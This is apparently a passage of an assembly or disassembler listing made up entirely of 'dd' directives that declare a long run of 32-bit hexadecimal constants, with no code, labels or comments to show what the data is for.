		dd 0C05D4AC0h, 56025733h, 5F6D6597h, 0DA19CBDCh, 0A508509Ah
		dd 5AF31E99h, 0E5125902h, 91487644h, 95C9AE31h,	0EE53B07Ch
		dd 849B48E1h, 782C475Ch, 0F7486389h, 2B33431Ch,	1086DEDFh
		dd 0D2A0D3B3h, 959A132Dh, 0BC278C04h, 0A77B9909h, 77CB1193h
		dd 0C94DDB7Ah, 0BB8AA6E5h, 387E5645h, 5E2C56Dh,	0F25D9CDBh
		dd 684C39Ch, 1280C8B4h,	4CFF053Dh, 2BAF350Ah, 65CFC9E8h
		dd 0BB8BB179h, 49CB46Ah, 81810FAFh, 0AD96F9F5h,	2F6AFF86h
		dd 716F7831h, 0C027B715h, 0F00C970Dh, 0DADC84A4h, 9F08042Ah
		dd 166103E1h, 0DE2C7696h, 0BEC38F2Ah, 176D5443h, 0B4113705h
		dd 0CAEB2FA4h, 0D9001F54h, 75AF9386h, 14186B68h, 8B354250h
		dd 0AC268DF2h, 8FE09156h, 1A388CCEh, 0EC430957h, 41379C77h
		dd 164647EEh, 22A8CA67h, 45E0AE8Dh, 3F310FC8h, 84FB2A7Ch
		dd 0FE6230F4h, 0A05C2ECBh, 26BC5CFBh, 2B6B6477h, 0BD5D11A9h
		dd 2700E312h, 468E9515h, 0D3459FCBh, 2EE7E057h,	0C5936C5Ch
		dd 3595BFCBh, 9ECA17DAh, 77EF1A5Ch, 2CDACC05h, 0DA8601CAh
		dd 4A8B4DAAh, 195D3E82h, 840F4850h, 5D69BD2h, 0E6F6653h
		dd 0B5D574D7h, 0FC4A69FFh, 0DAEA47CFh, 625EA387h, 831F811h
		dd 80ED3F7Ah, 5B3B6FDAh, 8645280Ah, 9103BE88h, 0A06622F3h
		dd 0BCDCBF78h, 0E31B211Fh, 6E98B0BEh, 48CFDDADh, 27B0F9EBh
		dd 934C82CAh, 95F55D0Eh, 0BCFA3377h, 7133EF91h,	0FB9BA6C3h
		dd 2841F5B3h, 2FA0FA29h, 0DB6741h, 5A6C4C8Fh, 6B7117F6h
		dd 0C2E2C190h, 0F1B2A126h, 4B402772h, 99A79522h, 6B2A4E70h
		dd 0E31C71D5h, 9CFA4DECh
		dd 9A9CA7EFh, 0B3064B81h, 6F2FA402h, 0F5B28047h, 1C48512Ah
		dd 7AF2B856h, 0D1EB4AFCh, 0F8588710h, 8A066A90h, 0C17AFD87h
		dd 91D57C48h, 0E10B5909h, 0FF89DDAh, 6DB8585Bh,	895BE716h
		dd 0FC1C9969h, 46CEEC6Fh, 3446DE39h, 72D20610h,	0F3667ECCh
		dd 0B0CEDB9Ch, 85798402h, 5CB89131h, 0DC44240Eh, 2B842795h
		dd 2E8244D5h, 4F4A849Ah, 5852F075h, 0DA3C58EEh,	0A50B6466h
		dd 21C9AD06h, 0B6D0785Eh, 104D0711h, 0C35E75A5h, 0B75CF11h
		dd 0B61B0A4Fh, 0FF9FB8FCh, 266229CEh, 3E4C38E1h, 29AD0AA9h
		dd 0A14D8D1Bh, 37A91A53h, 0CC835270h, 0E84BB276h, 247DBFD2h
		dd 32622C01h, 0C930A35Dh, 1690B809h, 0D3FB9E61h, 0D740D3FFh
		dd 0F33F24CAh, 37F4C5B0h, 40464A1Ch, 0B9953DA8h, 0E205C2FDh
		dd 0CF74ADDCh, 2686EA8Ah, 0BD2F83B6h, 62CA490Bh, 690084A4h
		dd 0C4FAE5DCh, 0F4DC694Fh, 0AA767B20h, 5B68A3C4h, 123F75F8h
		dd 0BD65DDFFh, 632A98F6h, 3879356Ah, 12381EF1h,	0E2678CE7h
		dd 0E4B13B93h, 3907732Eh, 0E3A843C5h, 7C801822h, 2A087E98h
		dd 326758D0h, 0E0B3FDABh, 0D71DF0B0h, 0E4030A16h, 0DD1BEB8h
		dd 22D3C9AEh, 7A45137Ch, 0E3F8C773h, 0C1709900h, 0E9D34863h
		dd 8E750043h, 82BA16D3h, 84312275h, 55085E68h, 0A9E80696h
		dd 8C1C94E7h, 16654E34h, 3F8E5C4Ah, 0BC5286FBh,	17DA9526h
		dd 407E8AE6h, 0A3744D9Fh, 0BF913DA2h, 0F5F3F024h, 0B1902F05h
		dd 363EA680h, 0E78B80EEh, 86454FCEh, 127132C1h,	6679DBE1h
		dd 786B5894h, 0FC97B050h, 0CD812280h, 0BC1E1899h, 0DD402DC4h
		dd 6953AD45h, 0BA9F741Bh, 0F2A3F0E7h, 91DA8B9Ch, 0BD974B4Dh
		dd 22C4AE8Ch, 93BDB243h, 1A1C99E6h, 170703C2h, 2274CF64h
		dd 0B4CB2A50h, 0C47D1204h, 2D5F7C79h, 5FE7DC4h,	912AF330h
		dd 3276BAE4h, 24591620h, 7A45D8E5h, 0F96430E6h,	0BEE20142h
		dd 4C44D245h, 0E7705737h, 72693Fh, 0D64446h, 8C47621Ch
		dd 0D687FE30h, 0C34D8E66h, 0E5656DFEh, 59D75136h, 504FD326h
		dd 0EFF901ADh, 0EC4D5377h, 0B7B6F056h, 300C121Ah, 0C4A815F2h
		dd 0C24E3D47h, 0BC374A92h, 5AE826D8h, 28992648h, 0CD37DA25h
		dd 0F62AF390h, 28005F16h, 0ECEAD10Dh, 0B3CCD5B4h, 4418104Eh
		dd 0B637C751h, 113CDBADh, 0DF6F1971h, 0E4AB65A9h, 2827BCE7h
		dd 3E72E1F8h, 0E5C965AEh, 5BB265BDh, 89FC8050h,	16AB17D6h
		dd 0F1B29772h, 525999Ch, 99736EEFh, 7F4FBCD4h, 0E3C4C750h
		dd 3C031AEDh, 0EEEAFAF8h, 0F5FB1A83h, 93CB5EE3h, 2FD22C5Ch
		dd 121C7FFh, 23C4FEEEh,	1B5616EBh, 2664A748h, 0EE5197CDh
		dd 5AABC73Ah, 3E2234D7h, 5F783249h, 0A4EBC522h,	4F1FBB83h
		dd 0CFB03946h, 424BC44Ch, 0CF6D6C56h, 5E0E201Dh, 0B156515Eh
		dd 0E4B6061Eh, 0C73EDDA0h, 7A0942B9h, 0EA58A7D5h, 3C58193Dh
		dd 2393C665h, 586F2921h, 340A2F4h, 6947EF60h, 4F81F83Ch
		dd 0AD42D728h, 74F616EAh, 0A0449B61h, 1E9BEF04h, 0A910C5DCh
		dd 0FFDF2F82h, 29BF799Ah, 0FC51E83Ch, 248B3C45h, 307B0F46h
		dd 6BA8796h, 14DB330h, 0FCFC5F2h, 0A437FD7h, 9476A07Ch
		dd 85606E4Eh, 0D0DB6805h, 0A43F31CAh, 6BCFBBCAh, 1A369D60h
		dd 2D6EB6F9h, 342925FAh, 2ED8546Dh, 65602014h, 0E8199288h
		dd 38743AEh, 880A5BA6h,	274C1276h, 0CA40EDBAh, 3E0E43E7h
		dd 74F4D695h, 35B4B5AEh, 1A3EAFA3h, 2C321DE2h, 9B9A5A7Eh
		dd 0E2BA88F1h, 0EBB1BA98h, 91A27FECh, 9EBB68CAh, 0C01E740Dh
		dd 6C2CD1A3h, 11B653D2h, 0F1542457h, 6D965EF0h,	7B9BC213h
		dd 0CB24A54h, 273EAB74h, 0A14BEBB3h, 83379BEDh,	0FD76CD06h
		dd 2EB9CD74h, 96BB64FAh, 24CC2124h, 0A53E4B93h,	21EF1F7Ah
		dd 0A7DE693Bh, 0D2F66FA7h, 0B6528E5Bh, 97030923h, 0E015C9Dh
		dd 0F23B450Ch, 0ED186496h, 0F6A51F68h, 0DF3F98CEh, 8FEE0376h
		dd 0FAE1C29Ch, 1FBD311Ch, 10799CD5h, 0CB381A09h, 535F0DAEh
		dd 3883BE06h, 0BDE6E768h, 969B2364h, 833131F4h,	0CABA127h
		dd 0DEC641DAh, 332815EFh, 7C1A23B8h, 67FE7EB3h,	0BFE29EA2h
		dd 572A58C1h, 66262368h, 0F64C4B80h, 0C7D6770h,	0D62EF999h
		dd 1456480h, 0A1DDD497h, 0E1F272CEh, 0F6D561A5h, 23C3BA12h
		dd 0D8A01EE9h, 927FBA14h, 116AD1BCh, 0D2DACC6Dh, 8A38057Fh
		dd 656D30C1h, 86B18D77h, 0D1BB15ACh, 0F5D89A66h, 3D6CB2D8h
		dd 7AB2919Dh, 0FE81F1F3h, 0A0CA604Ch, 0F9BBDE31h, 56323E50h
		dd 0A974F709h, 30373BF9h, 2F21A6F6h, 0C0584352h, 0AFBCD959h
		dd 9294ACC0h, 1B90FEC7h, 0C79D6C0Ah, 0E1E1C695h, 0C9B99522h
		dd 1B1CB98Fh, 36B47FBDh, 24B54B5Bh, 88E84C0Dh, 0E02A2A83h
		dd 749E9699h, 3A4837A6h, 4B5D09AEh, 2E2F255Eh, 818BAD03h
		dd 28BBF689h, 389A1BF7h, 790A67D9h, 0F7C8D51Fh,	0A42BE5E9h
		dd 150DFBFCh, 585028D0h, 0E3887632h, 4F562404h,	0FAD19BF6h
		dd 0AD066A2Ah, 0D31525F7h, 66A349ECh, 0BEF6253h, 39B23FE3h
		dd 8FCA0059h, 33F5CDEAh, 7E743449h, 51D51AA6h, 8B03F88Eh
		dd 0E02D35F9h, 3B906090h, 0D41BCCFBh, 67556CAEh, 10FCED85h
		dd 0DB34CBE4h, 319C8EF2h, 0D67D14ECh, 9B37E04Eh, 887A2003h
		dd 2A0A0C4h, 0EEAC7880h, 826C0B56h, 38844711h, 5EE70C29h
		dd 690FF96Ch, 6B42BF69h, 0BB8A7C1Dh, 6287F0F9h,	58125280h
		dd 75DA0B87h, 0F8B8B4F3h, 1AF9CCFCh, 822135D3h,	52212A5Ah
		dd 8405CC22h, 9DC96BF6h, 286F516Ch, 897EC9A7h, 0A00FC614h
		dd 0A544FECBh, 0BF93A92Eh, 7B1952EDh, 0C9A7FEADh, 27F8C853h
		dd 4CC8C6D9h, 0D279CC3Bh, 19E02A5Dh, 13DBD497h,	0F313A91Bh
		dd 7882DD2Eh, 68D155E6h, 4B57AF15h, 0B61867D6h,	0A64C5F9h
		dd 7EFB285Bh, 0BEF942BDh, 0F277745Ah, 0CE1E031Ch, 7AF57245h
		dd 0FB9E5608h, 875EFE1Ah, 0CB308FB6h, 0CD6BB219h, 0A5C26FA2h
		dd 16BFBBh, 0F4716883h,	4233751Eh, 0DB2FAAE4h, 5B66ED31h
		dd 0A648BE16h, 75CA4EC8h, 2FA7E47Bh, 38B7CD87h,	6D001C17h
		dd 49BF0659h, 452BDF28h, 0ADC91369h, 0BBBE6035h, 0FB93867Ch
		dd 2FE79293h, 0C644D7AFh, 1B41F41Ah, 6E6C10A3h,	7DE0B37Eh
		dd 0C22218BBh, 8A28C96Eh, 66348000h, 657136ECh,	0EF9ED234h
		dd 4AAAC535h, 0AA342C71h, 4D981E72h, 27A605EEh,	0D6C2403Dh
		dd 2598EDEDh, 8BDB1FA4h, 0D5D131A7h, 9CFEB825h,	209D4A7Ch
		dd 653F9DA2h, 82E4D23h,	6B7C3660h, 0DFF36957h, 0F2343F1Ah
		dd 1EC15BADh, 1661B49Fh, 97AEB461h, 0C9344F4Ch,	5F68EC45h
		dd 0F97A11D1h, 0A28D09C3h, 94FF55A2h, 109C38FCh, 6B354B1Dh
		dd 0F91EA029h, 0A5720B27h, 0F1194526h, 532962EAh, 253F9B07h
		dd 0C83BA71Fh, 19BD6751h, 1B30EE94h, 31AAB972h,	0F1C108C3h
		dd 0DB8320F7h, 0A41F819Fh, 0E6A45BC6h, 0F0E5011Bh, 921E3067h
		dd 0AD2FC702h, 5C22AE8Ch, 0AC2F5C9Dh, 24D2068Bh, 20FBFE1Fh
		dd 0A9B68B25h, 6E12AFC7h, 51ED4589h, 157038EEh,	91F9AAD3h
		dd 0F8890222h, 0F5B32DD5h, 428E6FE0h, 72EFE0D2h, 457CE99Ah
		dd 0F108C70Ch, 0B9EF648Fh, 0FC81CE74h, 0A76221F6h, 4431C325h
		dd 84CF5B16h, 6614E509h, 824515FCh, 25D28483h, 0BE3E55D1h
		dd 3FBC2368h, 2A334993h, 0DAE05ACAh, 0EF69BF79h, 7FE12B45h
		dd 19A7A696h, 4C285F71h, 5973CB98h, 0E03230D1h,	259BF08Fh
		dd 6608F6B8h, 0E0C55456h, 0A3AD0351h, 7ACBD974h, 0CDA5E11Dh
		dd 4BF190FAh, 0D9AF54ABh, 524F4381h, 0C8A3309h,	0FE0DC66Ah
		dd 0A8F3CB48h, 0EA550B1Bh
		dd 24A281B6h, 0AFE03429h, 92643B8Fh, 0B396DD97h, 4E98796Dh
		dd 476FD059h, 0EB0E8F17h, 5F06ED7Dh, 0C2EF56E5h, 55775648h
		dd 2DA9DF2Bh, 86D0BA90h, 810BF833h, 8E59AED1h, 7380BCFBh
		dd 796CA18Fh, 262FFAA9h, 0DDFD5848h, 27E981FEh,	2B9B86Eh
		dd 0B48272F6h, 6356E8AFh, 9E952AD6h, 32CCE3AAh,	6F9E3E10h
		dd 0EDFDDF13h, 0BD799917h, 16E03C5Ah, 0A9183565h, 51AF0B49h
		dd 408E18BFh, 20F57C0Fh, 26C46ACEh, 0B4C0F121h,	63D7DE4h
		dd 1F75A7B4h, 0D00714A8h, 7ADFD32h, 0B43C80F6h,	0BEFCA8E1h
		dd 4E42AFAAh, 17CA7AB5h, 0BAF200E1h, 6D06C56Eh,	7F0827F0h
		dd 2D80C6Ch, 3BC43B05h,	9B072A42h, 5865AEF5h, 0D35ECC78h
		dd 0C0E338FDh, 0AEDB161Dh, 83C903h, 0CE8D9ACDh,	0BEC46E5Ch
		dd 8639B203h, 0AB23950Eh, 49B134A4h, 21EC3A6Ah,	0DA560643h
		dd 0D40E01D5h, 0D6EF1820h, 94A7A9Bh, 120B9CB6h,	7DED7BA6h
		dd 4F100BC3h, 926E6EE5h, 1645D563h, 6A2D712Bh, 5220FC8h
		dd 0F6C5BC75h, 0B5B3B7F4h, 0E8213244h, 81840F55h, 4EEC283Dh
		dd 0EA27105Fh, 85765A37h, 0BEBC357Eh, 0B4904190h, 64028D8Fh
		dd 0AB58C160h, 7DF549D4h, 2F08628Fh, 88CA7BEBh,	0B682A5C2h
		dd 0EA00FDCBh, 0B2CB1EAh, 0A1490AEBh, 0BFACE00Fh, 201242D9h
		dd 8098BF18h, 608B49Ch,	0D464E1EAh, 0C395BEA5h,	0DB5283A2h
		dd 0BC695B49h, 67FD7056h, 1EBB81A9h, 0BA628079h, 4F4008ABh
		dd 160354D4h, 90F8295Eh, 1F1302DFh, 77400A00h, 3B818818h
		dd 3236A219h, 14EDAE11h, 9D8C4633h, 41FF9DF2h, 4B5881E3h
		dd 0D2D3B6FFh, 0A1093DB3h, 0DEE85B91h, 4DE2E5F1h, 6730B2C6h
		dd 5CF787ACh, 1EF10D36h, 2F0BB7A1h, 6912DB2Fh, 0C191D7F6h
		dd 0B47E6B20h, 340E1BE2h, 3D6A6664h, 0C1F26DC8h, 996F5376h
		dd 0EAAC00D1h, 0A8680596h, 541FE145h, 652A7F5Bh, 8F03A2DFh
		dd 0AD5D05C2h, 3CAD271Bh, 1E3AD6B3h, 0DD83E734h, 0ED97BE9Eh
		dd 3356AFC6h, 41A359F8h, 0A877C3DFh, 781FABB2h,	0E13C082h
		dd 69638290h, 55DB3F75h, 7AF28AFFh, 8B39785Ch, 0F830F6E8h
		dd 87EEFAC6h, 5510478Ch, 29EF66C1h, 22E84A88h, 0ACBB4D8Bh
		dd 8E7C5374h, 3A3E3DF4h, 103197DBh, 35C707FEh, 5791044Fh
		dd 0E3EF2947h, 5E068013h, 9E49E102h, 0E18113DEh, 946DD9E6h
		dd 0B8E32964h, 7D6F2F32h, 7D220B3Bh, 99C63108h,	2BCF7AD3h
		dd 36BA8F37h, 21D28935h, 0C4394713h, 0E7F3A148h, 0D44E47C0h
		dd 685F7645h, 0D4B11DC7h, 0C56D9CE8h, 0F5E510C5h, 0B1150C0Dh
		dd 918010E1h, 0C3D03EB4h, 928A66E5h, 6DCC37A6h,	0F5C3EA18h
		dd 0CCB4F960h, 96D5B883h, 30C8BE01h, 2E0BFE7Ch,	0BE38CA8Bh
		dd 63C3D35Fh, 2D089D58h, 4F13CE65h, 8413EDA9h, 90EA615Dh
		dd 0EDF3B90Bh, 2272E278h, 0D5931DB7h, 0D98975B6h, 33C25F86h
		dd 0CAF9D50Eh, 0FBEF0805h, 0DC2012Ch, 0ABE7B48Dh, 0DC150998h
		dd 0BF37CA4h, 59295B58h, 72946E6Dh, 20DFD436h, 0D2763BC4h
		dd 6839C4F8h, 0FDD1B55Bh, 70BB3359h, 4E64251Fh,	0E8B66A7h
		dd 0FC0F5866h, 694D6982h, 8017FAD4h, 0B30027h, 7CB170D3h
		dd 0D8911699h, 90930277h, 51600736h, 0C60C9930h, 12983CD2h
		dd 0B54291DBh, 0F0305BFCh, 0D444FA4Eh, 23D0F2B0h, 3795C455h
		dd 6CB2589Ch, 716A5EB2h, 97B3F4BAh, 3084830Eh, 5975DF45h
		dd 49290CFCh, 0FE16D87h, 0AE8E9272h, 23190AEh, 0D8538656h
		dd 0A766E0B5h, 728A7E7Bh, 0E629765Fh, 0BA6A21CDh, 4F31B5F1h
		dd 70B18540h, 0FBD5FFE0h, 0DDDEE5AAh, 7DC28D56h, 84C2A553h
		dd 1147B64Dh, 679B2D97h, 7C489BBCh, 54E491C3h, 2169BD8Eh
		dd 0E52B79C6h, 285A2CD6h, 5C3D91ABh, 36BAD607h,	166444CBh
		dd 15770A66h, 0BE93F9A2h, 3279564Ah, 0D817562Dh, 0EE0724DBh
		dd 4B7D3445h, 43A58651h, 2F8C5C58h, 69162DE1h, 0BE5FF860h
		dd 7F793F9Bh, 0ADE056C5h, 1827A2E7h, 15EBC22Eh,	20C3CC48h
		dd 0C84C9AE4h, 345C58EDh, 0A558BC62h, 0D73DFE81h, 0DD8E754Ch
		dd 438EC404h, 8CD5F689h, 0A0C3F78h, 4B693C65h, 0F86BD31Bh
		dd 0FF7DBB15h, 0EFFDE3D1h, 95443767h, 69EC2E8Bh, 627FD438h
		dd 2E9F3D79h, 425B4694h, 7A43F9C4h, 0D527A28Fh,	5019A893h
		dd 0E4CCDB1Eh, 0C08A0A3h, 9DD95D61h, 0A12C25AEh, 535688BEh
		dd 0D1975CF8h, 0F3A927E4h, 88880397h, 2054A864h, 26F94553h
		dd 224A5D1Fh, 11C6A5AAh, 58BB8F47h, 9A4270FBh, 0F115DB43h
		dd 3D53C35Ah, 85A2DFD7h, 789F74DFh, 4D110AFEh, 67F62939h
		dd 1539C1D3h, 0D046A013h, 5A7CFB1Ch, 107D22E4h,	0AA07D357h
		dd 5AADF38Bh, 0A4DB5A3Fh, 6A545658h, 6CA69E5h, 0D1ED5A2Ch
		dd 0B28423FEh, 74592C00h, 0ACD84EC8h, 3A124593h, 0C643D5B7h
		dd 6ED312C1h, 770B65A0h, 25BFE78Dh, 0B7DDC867h,	0DC11B53Eh
		dd 5FC23921h, 69367CDDh, 0EB5F6E31h, 8717AD3Ch,	0E795B687h
		dd 6013A751h, 0C8FC1ACh, 237043BEh, 0AB73E887h,	8D0C7A83h
		dd 474E7419h, 0AB982761h, 3CACD0B8h, 0E92F82DEh, 0D510B660h
		dd 0B4BF2FCEh, 0DA880640h, 0B75B023Bh, 5AFD41C2h, 255B00C8h
		dd 0E3742660h, 27FF7B75h, 0C1FC79AAh, 2C6476FEh, 0F83B15E4h
		dd 9206A1DAh, 66767CCEh, 4A98265Eh, 62150D74h, 0D396F453h
		dd 63C4F591h, 57E1E101h, 0CA307CD7h, 0A3ED8911h, 0FD0ED249h
		dd 45CF37B9h, 0E1964D24h, 0FD4FA140h, 46C7EF90h, 0DFBECC06h
		dd 7F1D076Eh, 0D0038C38h, 0E5D2C321h, 11588BBDh, 8D2F9E57h
		dd 0E922E27Dh, 880A957Fh, 609CC9B0h, 715D2531h,	8D8FD59Ah
		dd 0C200A5ECh, 24A73422h, 33AAC228h, 153E2E36h,	0B6DE3FB0h
		dd 73D53B11h, 3E07018h,	4B75EB96h, 0D66AC6C5h, 816E80CFh
		dd 4C70D0ABh, 0D61CF344h, 89430DA8h, 293EB556h,	75AA223h
		dd 0F926C9D3h, 0E6467E62h, 8D8376D3h, 9C335436h, 0E2B859BDh
		dd 6E80C3EFh, 0C32D7357h, 3EA79F3h, 4059E42Dh, 9C4C923Ch
		dd 3145B281h, 0E7338F92h, 47B42E07h, 21A7ADC9h,	0F8F3B7D3h
		dd 0D606EB76h, 32E0A61Eh, 0B83EC218h, 80741AF0h, 791E1E77h
		dd 0EB46A843h, 5BFE1F3h, 980AC71Dh, 7A2EEDBEh, 0B6D6C96Bh
		dd 2365387Eh, 0B6D79326h, 0DA159836h, 0C8A94376h, 708E174Dh
		dd 0F14460F8h, 13BAFA68h, 9782AD78h, 0C55F1E3Dh, 0EC33FA63h
		dd 0EE932F34h, 66429BD7h, 0EF1491E1h, 0A0DCED5Ah, 0BF642A7Eh
		dd 34FA8515h, 34F8D49Bh, 0AF58D9DEh, 7083DFDFh,	93B71511h
		dd 2D518798h, 5FCC01BDh, 8EA35934h, 2A26B4h, 54E9483Bh
		dd 7633EAB4h, 0DB7F637Bh, 332BA167h, 8286C5F8h,	423F75CBh
		dd 81F51A46h, 3AAEEB30h, 0FB70EA5Bh, 0EF4BDAEEh, 0AB70CB55h
		dd 0A4244C32h, 0C0C664DCh, 0BD8A7EF9h, 0EF2BDE4Ch, 0F64D353Eh
		dd 0F5526839h, 0D370981Ch, 8B050306h, 34F14252h, 0E26C4DEh
		dd 2CAF44CCh, 455B5C80h, 793F1471h, 0CF94AF7Dh,	0BBC5DFB1h
		dd 7849E76Ch, 13C70A7Eh, 9E58D8F0h, 4F180257h, 0AEDFBD02h
		dd 0DADE8F70h, 68C0A0E8h, 0F74D543Ch, 193AFB3Ch, 0E1CC5E33h
		dd 956F29FDh, 777455AEh, 11C7779Ah, 7334E599h, 0D3230CFDh
		dd 0E5312B17h, 1BA392B9h, 9A17D7F4h, 0DC6DB708h, 0DEF177A7h
		dd 0E69982D0h, 247567B4h, 606A89BCh, 682E6937h,	0CE7EE6E1h
		dd 0D37CC985h, 0E4C73364h, 2BA441C0h, 889D93A4h, 0FA57E12h
		dd 4D2E0124h, 0F97D5E04h, 8B4CAFE9h, 4FC36AF6h,	0F4907EECh
		dd 0D32BB040h, 36BEDE95h, 895BD9A4h, 0A3571F5Bh, 6C69FBCEh
		dd 5CCEFF5Ah, 248BF01Fh
		dd 0CDBBCD07h, 63260FD7h, 97726EB8h, 0A122033Dh, 83AA78DCh
		dd 9FF2F2D5h, 0F9F7715Dh, 58173832h, 72F51B43h,	0E68E7617h
		dd 579F158Eh, 34DEB9F0h, 0B29CE379h, 0AA17A83Eh, 0ECF12AF1h
		dd 0BFA0B01Bh, 57079AFh, 54BFF7CAh, 5870EB5Ch, 77D41B8Dh
		dd 6DE12AD3h, 70E9AF84h, 0F970BA7Fh, 0A7585B03h, 0E9A95557h
		dd 0DC620BF6h, 2D7B71EAh, 30D36817h, 0BF34355Ch, 0F329DCFEh
		dd 0B1231B64h, 9E6AD442h, 0C5770AE8h, 7CA5C0EDh, 0C67CFC34h
		dd 33DDE814h, 0FA6D4430h, 0E4821796h, 0F5EBFC2h, 8DB7E86Bh
		dd 24AC64F5h, 0F945136Ch, 594B934Fh, 0F009C4D6h, 5FA129A8h
		dd 0F1B8950Eh, 0F3B756E7h, 0EBD703B1h, 0F294B78Fh, 0F471E9A4h
		dd 771AEB46h, 0DB2F50C1h, 0DA15D221h, 0F7FCD46h, 7D1AD37Dh
		dd 990470AAh, 0D794DD77h, 5B4995A6h, 0E8202698h, 1995E3BEh
		dd 3FDE9176h, 846EF578h, 0D4EE0687h, 4082AB17h,	57886A82h
		dd 0B1E489ACh, 99690EEDh, 0DCE1EB3h, 0B2C2ECB5h, 47448CDAh
		dd 0D940F38Dh, 8288716h, 0B687A0A3h, 0C7CC43BCh, 0BEBF7D2Bh
		dd 8AEAB463h, 0BF5B1374h, 0BCFAEB04h, 96D2771h,	0DF3A5CFBh
		dd 44E48447h, 0DEE06FB0h, 7AC41EABh, 6DD1222Bh,	23B6DFCAh
		dd 0E8C03644h, 0E39263B5h, 8EAF0EBBh, 40CF6CD1h, 59F383D7h
		dd 7F6F7B69h, 78A1E4Bh,	9C622715h, 61C91827h, 4B38A35Eh
		dd 0F26FA12Ah, 4C91CD0Ch, 0C1E9EFA3h, 14246CEAh, 0B58EF01Bh
		dd 3C9A5A1Fh, 0FAD2094Ah, 0DF907A3Fh, 13D815C1h, 0CA73C2E4h
		dd 11C324DBh, 6E592C61h, 3B45EAEEh, 0D512EBF3h,	87036042h
		dd 0AB300294h, 7BA00287h, 41F0D6A4h, 967A117Bh,	2E64B3F6h
		dd 969F623Ch, 0B922376Eh, 946DDEA2h, 547D3B83h,	0EF7C2991h
		dd 0AB2FCBC4h, 0E94E9899h, 7F753CBEh, 0A308FD0h, 0D834088Fh
		dd 0A88EB12Bh, 0DFE602EAh, 14D7BA41h, 0A12C358Bh, 84EF7D13h
		dd 47388C58h, 0E5D15552h, 5F4FFC91h, 43731F01h,	6C329554h
		dd 537511F3h, 122B58D4h, 5B80362Dh, 6DC6E460h, 11A799D6h
		dd 6B060270h, 8E377FE3h, 5091BCh, 261AC121h, 0E8929BFCh
		dd 0F1645200h, 849DC05Fh, 6540D25Ch, 7C0CDAFBh,	979DD038h
		dd 0A33371AFh, 137120BAh, 0D1D38BAh, 0D55D4802h, 0C43B7B89h
		dd 6A1CA3A4h, 4F2D38Ch,	0A136BDC1h, 0A96053D7h,	41C2FDBCh
		dd 49099C6Fh, 0D962C3F4h, 0F76C650Ah, 9382DA5Ah, 0DDCE3AE3h
		dd 0A9E218ABh, 0B9B33E32h, 0BEFABF09h, 0CF5E32B2h, 2545B39Ch
		dd 55AC8Dh, 0C48C71A5h,	124C8C6Dh, 0A668B827h, 0E557C1C1h
		dd 430B1949h, 6E4FDABDh, 944562F4h, 72371A4Dh, 12CAA100h
		dd 4AEB4B37h, 0C4D03D5Ah, 0EAB08AB6h, 1E15F502h, 962623E5h
		dd 0A0A97FB8h, 0BE42986Ah, 0D2A21CC7h, 0BB760C47h, 3F3FC186h
		dd 9552A1F3h, 0AC3131B8h, 0B3FDAC62h, 0DA06AB68h, 83EDAB6Ch
		dd 0C8B13FA5h, 57299D9Ch, 968DA90h, 0A3D21B7Eh,	71954A45h
		dd 6D87D3AAh, 93817DDCh, 0FA5FF22Ch, 0A3CB7344h, 55BE8FC5h
		dd 0AE54D51Eh, 17998D8Bh, 0FBCAA931h, 0DB5B6927h, 44B4AE0Bh
		dd 0C8BFBDF1h, 0EE1BB170h, 8EE91F4Bh, 1CD5E25Ah, 6ED0F643h
		dd 88082D04h, 0A3929ECh, 2AA5CCCDh, 38362C2Eh, 32876292h
		dd 0CBD43AE5h, 659775E0h, 5C5D0515h, 0A78F024Ch, 55356E33h
		dd 0DA8E674Ah, 0AF7E0DD7h, 1B0FF160h, 0C6CB7B6Ch, 0A606E7FDh
		dd 0B1033E74h, 479E7083h, 627AAFDAh, 0DC56EBAh,	1EB6254Ch
		dd 62392288h, 359A1A37h, 0B4CD4263h, 62C07726h,	475D092Ah
		dd 94D55B69h, 0CD9DBED1h, 0D7397964h, 276C144Fh, 17E6374Ah
		dd 0CFE95DB8h, 0E5AB64A7h, 0ABDB08C5h, 3E43553Dh, 4BEA5C5Bh
		dd 95957BEh, 0F6D6572Ch, 744F6F97h, 5D1D16E8h, 0F3BE0CBBh
		dd 0F471F976h, 8EDAFCBBh, 0A81FA344h, 0C7F57FBFh, 0B8CE9CDh
		dd 0F2CFBCEh, 0EA979797h, 0CA384041h, 3EAA409Bh, 0CBE1AF55h
		dd 40C05E11h, 0ADDD57AAh, 0D4DEA10Eh, 0DC19277Dh, 3A6DB10Dh
		dd 51AA7C41h, 36ED7141h, 397F6A24h, 6EAB9CD9h, 391053Ch
		dd 0B25C1873h, 3540AF8Ch, 151636CCh, 0D08FFEF3h, 1E4CF813h
		dd 4D14FB7Fh, 78D92553h, 0CCC30E21h, 0CD85422Fh, 4922D056h
		dd 87A2F49Ah, 0F5170493h, 0BFA61852h, 82BF895Fh, 8B7E9BC5h
		dd 236CE164h, 0E69A2BFBh, 0EF3D5400h, 1F743BF9h, 0C03B6954h
		dd 0CD449285h, 29DE7FDFh, 0CC829D0Bh, 0B34B71FDh, 2CFDFF3Ah
		dd 4256B4F3h, 6461918Eh, 7675D6C1h, 4A4F6FB3h, 0A7D19924h
		dd 0DEAEF3h, 0B6041E08h, 0FC4A9ACEh, 5A8B6640h,	0DEBAA4B5h
		dd 9189E4BEh, 80FF411Ah, 0BE09674h, 8150E398h, 0E8137A8Fh
		dd 0CB23DCB5h, 3943ED96h, 0C5FAB2BAh, 6D4138C9h, 0EA7F847h
		dd 8A461B47h, 8BE47B0h,	599E2928h, 0F42913E1h, 6260BC52h
		dd 0BACCDAB3h, 1E52623Dh, 2D11CC8Ah, 8CA968AEh,	0C46CF663h
		dd 0A400ED1Ch, 1BE8A52Ah, 603FDFA7h, 9C6D9F94h,	167C563Ch
		dd 0B5C642EFh, 83AD80B7h, 0F8A1E73Fh, 58DA5308h, 0E3040115h
		dd 0FD2AFEC1h, 0EFCFE6FFh, 9D22DAC0h, 0B4BF37E6h, 81B6CDD9h
		dd 5EFED3EDh, 0B92ED44Ah, 7A7EA3C9h, 6A2C68B5h,	0AAAC92Dh
		dd 9CEAD802h, 0A4AB877Dh, 0F8D618C5h, 7D9C577Dh, 0AA47D80Fh
		dd 0D726C4DFh, 316DBAB1h, 85F37B37h, 58D01B8Ah,	6F777B2Fh
		dd 3C1555D2h, 5C6D8EFCh, 0FA42A82h, 0E8DC0F16h,	0C680A8E1h
		dd 379FDB6h, 4AF3C35Fh,	0F2D56214h, 0A042CE4Dh,	0BA1CB952h
		dd 65A827B1h, 7C43AFA1h, 2709533Ah, 0DC54A6CFh,	0B9F005D3h
